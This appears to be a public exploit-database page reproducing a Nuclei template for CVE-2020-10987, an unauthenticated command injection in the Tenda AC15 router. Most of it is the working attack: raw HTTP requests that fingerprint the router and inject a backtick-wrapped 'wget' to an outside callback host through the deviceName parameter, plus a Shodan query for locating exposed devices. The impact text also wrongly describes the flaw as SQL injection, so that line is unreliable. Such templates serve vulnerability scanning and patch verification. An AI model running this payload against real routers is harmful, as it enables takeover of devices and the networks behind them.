CVE-2020-10987: Tenda AC15 AC1900 version 15.03.05.19 - Command Injection

2025-08-01 Tenda AC15 AC1900 PoC Public

Description

The goform/setUsbUnload endpoint of Tenda AC15 AC1900 version 15.03.05.19 allows remote attackers to execute arbitrary system commands via the deviceName POST parameter.

PoC

id: CVE-2020-10987

info:
  name: Tenda AC15 AC1900 version 15.03.05.19 - Command Injection
  author: pussycat0x
  severity: critical
  description: |
    The goform/setUsbUnload endpoint of Tenda AC15 AC1900 version 15.03.05.19 allows remote attackers to execute arbitrary system commands via the deviceName POST parameter.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands to access or modify database contents, potentially compromising the entire Tenda router and network configuration.
  remediation: |
    Upgrade to a patched firmware version or replace the affected device.
  reference:
    - https://blog.securityevaluators.com/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-10987
    cwe-id: CWE-78
    epss-score: 0.7981
    epss-percentile: 0.99589
    cpe: cpe:2.3:o:tenda:ac15_firmware:15.03.05.19:*:*:*:*:*:*:*
  metadata:
    shodan-query: http.title:"tenda wifi"
    max-request: 2
    vendor: tenda
    product: ac15_firmware
  tags: cve,cve2020,tenda,rce,kev,unauth,vkev,vuln

variables:
  payload: "wget http://{{interactsh-url}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"<title>Tenda WiFi")'
          - "contains(content_type, 'text/html')"
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        POST /goform/setUsbUnload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept: */*

        deviceName=test`;{{payload}};`

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
# digest: 4a0a00473045022100956c966f796e524d103f14f6a3d3371474d1014184b28d9fe298162b0f4af80702205ddeaf6103e5f3f9feaed8652e6efccfa8970902271d9b20e42e272ac226f8b5:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities